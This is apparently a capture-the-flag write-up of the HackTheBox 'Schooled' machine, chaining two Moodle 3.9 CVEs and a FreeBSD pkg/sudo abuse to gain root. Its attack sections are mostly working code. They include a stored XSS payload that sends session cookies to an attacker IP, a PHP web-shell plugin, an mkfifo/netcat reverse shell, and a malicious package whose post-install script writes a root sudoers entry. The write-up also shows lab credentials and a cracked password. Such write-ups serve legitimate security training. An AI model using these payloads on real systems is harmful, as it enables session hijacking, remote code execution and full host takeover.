HTB: Schooled Writeup

Schooled - HackTheBox Writeup

Machine Information

AttributeDetails
NameSchooled
OSFreeBSD
DifficultyMedium
Points30
Release Date03 Apr 2021
IP Address10.129.96.53
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Schooled is a medium-difficulty FreeBSD machine that demonstrates a realistic attack chain against Moodle, an open-source learning management system. The box requires exploiting two CVEs affecting Moodle 3.9: an XSS vulnerability to steal a teacher’s session cookie, followed by a privilege escalation flaw allowing a teacher to become a manager and install a malicious plugin for RCE. Database credentials from Moodle’s configuration file lead to hash cracking and SSH access via password reuse. Finally, root is achieved by abusing sudo permissions on the FreeBSD pkg utility combined with write access to /etc/hosts, allowing installation of a malicious package from a controlled repository.

TL;DR: Student registration → XSS in MoodleNet profile (CVE-2020-25627) → teacher session hijacking → privilege escalation to manager (CVE-2020-14321) → malicious plugin RCE → database credentials → hash cracking → SSH as jamie → sudo pkg manipulation + /etc/hosts hijack → root


Reconnaissance

Port Scanning

Terminal window
# Quick port discovery
nmap -p- --min-rate=1000 -T4 10.129.96.53
# Detailed service enumeration on discovered ports
nmap -sC -sV -p22,80,33060 10.129.96.53

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH (FreeBSD)
80/tcp open http Apache httpd (FreeBSD)
33060/tcp open mysqlx?

Three services are exposed: OpenSSH on port 22, Apache with PHP on port 80, and MySQL X Protocol on port 33060.

Service Enumeration

HTTP (Port 80)

Browsing to http://10.129.96.53 reveals the website for “Schooled Educational Institution”. The footer contains contact information revealing the domain schooled.htb:

Terminal window
# Add to hosts file
echo "10.129.96.53 schooled.htb" | sudo tee -a /etc/hosts

The homepage mentions a Moodle portal, suggesting the presence of a learning management system. Virtual host fuzzing reveals a subdomain:

Terminal window
# Subdomain enumeration
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-H "Host: FUZZ.schooled.htb" \
--hh 20750 \
http://10.129.96.53

The subdomain moodle.schooled.htb is discovered:

Terminal window
# Add Moodle subdomain
echo "10.129.96.53 moodle.schooled.htb" | sudo tee -a /etc/hosts

Navigating to http://moodle.schooled.htb displays a Moodle login page. The version can be identified by checking /moodle/lib/upgrade.txt, which reveals Moodle 3.9.

Vulnerability Assessment

Research on Moodle 3.9 identifies two critical vulnerabilities:

  1. CVE-2020-25627: Stored XSS in the MoodleNet profile field, allowing session cookie theft
  2. CVE-2020-14321: Privilege escalation from teacher role to manager role, enabling malicious plugin installation

These vulnerabilities can be chained together to achieve remote code execution.


Initial Foothold

Account Registration and Confirmation Bypass

Moodle allows self-registration, but requires the email domain @student.schooled.htb. When registering, the confirmation mechanism embeds the activation link directly in the signup response:

Terminal window
# Register with burp proxy to capture response
# The response contains: /login/confirm.php?data=SECRET/username
# Manual confirmation (example)
curl "http://moodle.schooled.htb/moodle/login/confirm.php?data=<SECRET>/<USERNAME>"

After confirmation, login is successful and course enrollment is available.

Self-Enrollment in Mathematics Course

The Mathematics course (course ID 5) allows self-enrollment without requiring an enrollment key. After enrolling, announcements from teacher Manuel Phillips are visible. One announcement titled “Reminder for joining students” states:

“This is a reminder to set your MoodleNet profile. I’ll be checking all profiles before the course starts.”

This provides a perfect vector for exploiting the XSS vulnerability.

Exploiting CVE-2020-25627: Stored XSS

The MoodleNet profile field in Moodle 3.9 is vulnerable to stored XSS. When a teacher views a student’s profile, the malicious JavaScript executes in the teacher’s context.

// Payload set in MoodleNet profile field (Edit profile page)
<script>
document.location="http://10.10.14.178:8000/?"+document.cookie
</script>

Start a listener to capture the stolen session cookie:

Terminal window
# Start HTTP listener
nc -lnvp 8000

After a few minutes, the teacher bot visits the profile and the XSS fires, sending the MoodleSession cookie to the attacker:

GET /?MoodleSession=<TEACHER_SESSION_COOKIE> HTTP/1.1
Host: 10.10.14.178:8000

Replace the student’s session cookie with the teacher’s cookie in the browser (using developer tools or a proxy). Refreshing the page results in access as Manuel Phillips (user ID 24), a teacher account.

Exploiting CVE-2020-14321: Teacher to Manager Privilege Escalation

CVE-2020-14321 is a privilege escalation vulnerability allowing a teacher to grant themselves manager privileges by manipulating the user enrollment process. A proof-of-concept exploit is available on GitHub (HoangKien1020’s PoC), but requires modification because its regex pattern \d only matches single-digit user IDs.

The Bug in the Original PoC: The original PoC uses \d in regex substitution, which matches only one digit. Manuel Phillips has ID 24 (two digits), so the pattern fails to capture and replace correctly.

The Fix: Change \d to \d+ to match one or more digits:

# Modified excerpt from patched PoC
# Original: re.sub(r'userlist\[\d\]=\d+', f'userlist[0]={teacher_id}', data)
# Fixed:
data = re.sub(r'userlist\[\d+\]=\d+', f'userlist[0]={teacher_id}', data)

Manual Exploitation Steps:

  1. Navigate to the Mathematics course participant list
  2. Click “Enrol users” and select a user with manager role (e.g., Lianne Carter)
  3. Intercept the enrollment POST request with Burp Suite
  4. Modify two parameters:
    • userlist: Change to the teacher’s ID (24)
    • roletoassign: Change to 1 (Manager role)
POST /moodle/enrol/manual/ajax.php HTTP/1.1
Host: moodle.schooled.htb
userlist=24&roletoassign=1&startdate=...

After sending the modified request, Manuel Phillips is now enrolled as a Manager.

Escalating to Site Administrator Capabilities

As a manager, the next step is to:

  1. Enroll Lianne Carter (the actual manager) into the course
  2. Use “Log in as” functionality from her profile to impersonate her
  3. Access Site Administration panel
  4. Grant the Manager role permission to install plugins

Navigate to:

Site administration → Users → Define roles → Manager → Edit

Intercept the role update POST request and append the following payload to enable plugin installation permissions:

&moodle/site:config=1

Send the modified request. The Site Administration panel now displays an “Install plugins” option.

Installing Malicious Plugin for RCE

Create a malicious Moodle plugin that executes arbitrary PHP code:

Terminal window
# Create plugin directory structure
mkdir -p rce/lang/en/
# Create block_rce.php with RCE capability
cat > rce/lang/en/block_rce.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
EOF
# Create version.php (required by Moodle)
cat > rce/version.php << 'EOF'
<?php
defined('MOODLE_INTERNAL') || die();
$plugin->version = 2022041900;
$plugin->component = 'block_rce';
EOF
# Package as ZIP
zip -r block_rce.zip rce/

Upload block_rce.zip through Site Administration → Plugins → Install plugins. Despite validation warnings, select “Continue anyway”. The plugin installs successfully.

Achieving Remote Code Execution

The malicious plugin is now accessible at:

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=<COMMAND>

Test command execution:

Terminal window
# Verify RCE
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id"
# Output: uid=80(www) gid=80(www) groups=80(www)

Establish a reverse shell:

Terminal window
# Start listener
nc -lnvp 7777
# Reverse shell payload (URL-encoded)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.178 7777 >/tmp/f
# Send payload
curl "http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.178%207777%20%3E%2Ftmp%2Ff"

A shell is received as user www.

Lateral Movement to User jamie

Upgrade to a proper TTY:

Terminal window
# Spawn interactive shell (FreeBSD uses /usr/local/bin/python3)
/usr/local/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'

Enumerate the Moodle installation directory and locate the database configuration:

Terminal window
# Read Moodle database credentials
cat /usr/local/www/apache24/data/moodle/config.php

Credentials found:

$CFG->dbuser = 'moodle';
$CFG->dbpass = 'PlaybookMaster2020';

Connect to the MySQL database:

Terminal window
# Access Moodle database
/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 moodle
# List tables
show tables;
# Examine user table structure
desc mdl_user;
# Extract usernames and password hashes
select username,password,email from mdl_user;

Notable entry:

admin | $2y$10$<BCRYPT_HASH> | jamie@staff.schooled.htb

The admin user’s email address is jamie@staff.schooled.htb, and a user named jamie exists on the system (verified in /etc/passwd). This suggests password reuse.

Hash Cracking

Copy the bcrypt hash to the attack machine and crack it with John the Ripper:

Terminal window
# Save hash to file
echo '$2y$10$<BCRYPT_HASH>' > admin.hash
# Crack with rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# Result
!QAZ2wsx

The password !QAZ2wsx is successfully cracked.

SSH Access as jamie

Test the credentials via SSH:

Terminal window
ssh jamie@10.129.96.53
# Password: !QAZ2wsx

Login is successful. The user flag is located in /home/jamie/user.txt.


Privilege Escalation

Sudo Permissions Analysis

Check sudo privileges for user jamie:

Terminal window
sudo -l

Output:

User jamie may run the following commands on schooled:
(ALL) NOPASSWD: /usr/sbin/pkg update
(ALL) NOPASSWD: /usr/sbin/pkg install *

Jamie can run pkg update and pkg install with any arguments as root without a password. The FreeBSD pkg utility manages binary packages and fetches them from configured repositories.

Identifying the Package Repository

Check the default repository configuration:

Terminal window
cat /etc/pkg/FreeBSD.conf

Output:

FreeBSD: {
url: "pkg+http://pkg.FreeBSD.org/${ABI}/quarterly",
...
}

However, the system may have custom repositories defined. Check for additional configuration:

Terminal window
# Check hosts file for repository domains
cat /etc/hosts | grep -i pkg

Output:

192.168.1.14 devops.htb

The repository URL is http://devops.htb/packages. Importantly, jamie belongs to the wheel group:

Terminal window
id jamie
# Output: uid=1001(jamie) gid=1001(jamie) groups=1001(jamie),0(wheel)

Check for files writable by the wheel group:

Terminal window
find / -group wheel -perm -020 -ls 2>/dev/null

Key finding:

/etc/hosts (writable by wheel group)

Since jamie can write to /etc/hosts and has sudo access to pkg install, the attack vector is clear: modify /etc/hosts to point devops.htb to the attacker’s IP, then install a malicious package.

Creating a Malicious FreeBSD Package

On the target machine, create a package that grants sudo privileges:

Terminal window
# Create working directory
mkdir -p /tmp/pkg && cd /tmp/pkg
# Create package build script
cat > pkg.sh << 'EOF'
#!/bin/sh
STAGEDIR=/tmp/stage
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}
# Post-install script adds sudo entry
cat >> ${STAGEDIR}/+POST_INSTALL <<INNER_EOF
echo "jamie ALL=(ALL) NOPASSWD: /bin/csh" >> /usr/local/etc/sudoers
INNER_EOF
# Package manifest
cat >> ${STAGEDIR}/+MANIFEST <<INNER_EOF
name: sudo_perms
version: "1.0"
origin: sysutils/sudo_perms
comment: "Add sudo entry"
desc: "Add sudo entry"
maintainer: maintainer@freebsd.htb
www: https://freebsd.htb
prefix: /
INNER_EOF
# Create empty plist
touch ${STAGEDIR}/plist
# Build package
pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .
EOF
# Execute build script
chmod +x pkg.sh
./pkg.sh

A package file sudo_perms-1.0.txz is created.

Creating a Package Repository

FreeBSD requires a repository metadata file:

Terminal window
# Generate repository metadata
pkg repo .

This creates packagesite.txz and meta.txz in the current directory.

Hosting the Malicious Repository

On the attack machine:

Terminal window
# Create directory for repository
mkdir packages
# Copy package files from target
scp jamie@10.129.96.53:/tmp/pkg/*.txz packages/
scp jamie@10.129.96.53:/tmp/pkg/packagesite.txz packages/
scp jamie@10.129.96.53:/tmp/pkg/meta.txz packages/
# Serve on port 80
cd packages/
sudo python3 -m http.server 80

Hijacking the Repository

Back on the target machine, modify /etc/hosts to redirect devops.htb:

Terminal window
# Edit hosts file (jamie has write permission via wheel group)
sed -i '' 's/192.168.1.14/10.10.14.178/' /etc/hosts
# Verify
cat /etc/hosts | grep devops
# Output: 10.10.14.178 devops.htb

Installing the Malicious Package

Update the package repository cache and install the malicious package:

Terminal window
# Update repository metadata (fetches from attacker's server)
sudo pkg update
# Install malicious package
sudo pkg install -y sudo_perms

The post-install script executes as root, adding a sudo entry for jamie.

Obtaining Root Shell

Terminal window
# Execute csh as root
sudo /bin/csh

A root shell is obtained. The root flag is located in /root/root.txt.


Attack Chain Summary

Port scan (22,80,33060) → vhost enumeration (moodle.schooled.htb) →
Student registration + confirmation bypass → Self-enroll in Mathematics →
XSS in MoodleNet profile (CVE-2020-25627) → Steal teacher session →
Teacher privilege escalation to Manager (CVE-2020-14321) →
Install malicious Moodle plugin → RCE as www →
Extract DB credentials from config.php → Dump mdl_user table →
Crack admin bcrypt hash (jamie:!QAZ2wsx) → SSH as jamie →
sudo pkg + /etc/hosts hijack → Install malicious FreeBSD package →
Root

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wfuzzVirtual host fuzzing
Burp SuiteHTTP request interception and modification
curlHTTP requests and RCE exploitation
netcatReverse shell listener
John the RipperBcrypt hash cracking
mysqlDatabase enumeration
pkgFreeBSD package manipulation
python3 http.serverMalicious repository hosting

Key Learnings

Techniques Practiced

  • Virtual host enumeration on web applications
  • Exploiting stored XSS for session hijacking
  • Chaining multiple CVEs for privilege escalation
  • Moodle plugin development and installation
  • FreeBSD package creation and repository manipulation
  • Password reuse identification through database enumeration
  • Abusing sudo permissions combined with file write access

Lessons Learned

  1. Always enumerate subdomains and virtual hosts — critical functionality (the Moodle instance) was only accessible via moodle.schooled.htb.

  2. Patch public exploits carefully — the original CVE-2020-14321 PoC had a regex bug (\d vs \d+) that broke on multi-digit user IDs. Always review and test exploit code.

  3. Session hijacking via XSS requires victim interaction — understanding application behavior (the teacher’s profile-checking routine) was essential to the attack.

  4. Database credentials often lead to lateral movement — Moodle’s config.php contained credentials that, when combined with hash cracking and password reuse, provided SSH access.

  5. FreeBSD privilege escalation differs from Linux — the combination of sudo pkg install, writable /etc/hosts, and custom repository hijacking is a unique FreeBSD attack vector.

  6. Group permissions matter — membership in the wheel group granted write access to /etc/hosts, which was the key to the privilege escalation path.

  7. Real-world CVE chains are powerful — this box demonstrated how two recently disclosed vulnerabilities (CVE-2020-25627 and CVE-2020-14321) combine to fully compromise a Moodle installation.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup: Schooled (Document No D21.100.130) by polarbearer
  • CVE-2020-25627: Moodle Stored XSS via MoodleNet Profile Field
  • CVE-2020-14321: Moodle Privilege Escalation (Teacher to Manager)
  • HoangKien1020’s Moodle PoC: https://github.com/HoangKien1020/CVE-2020-14321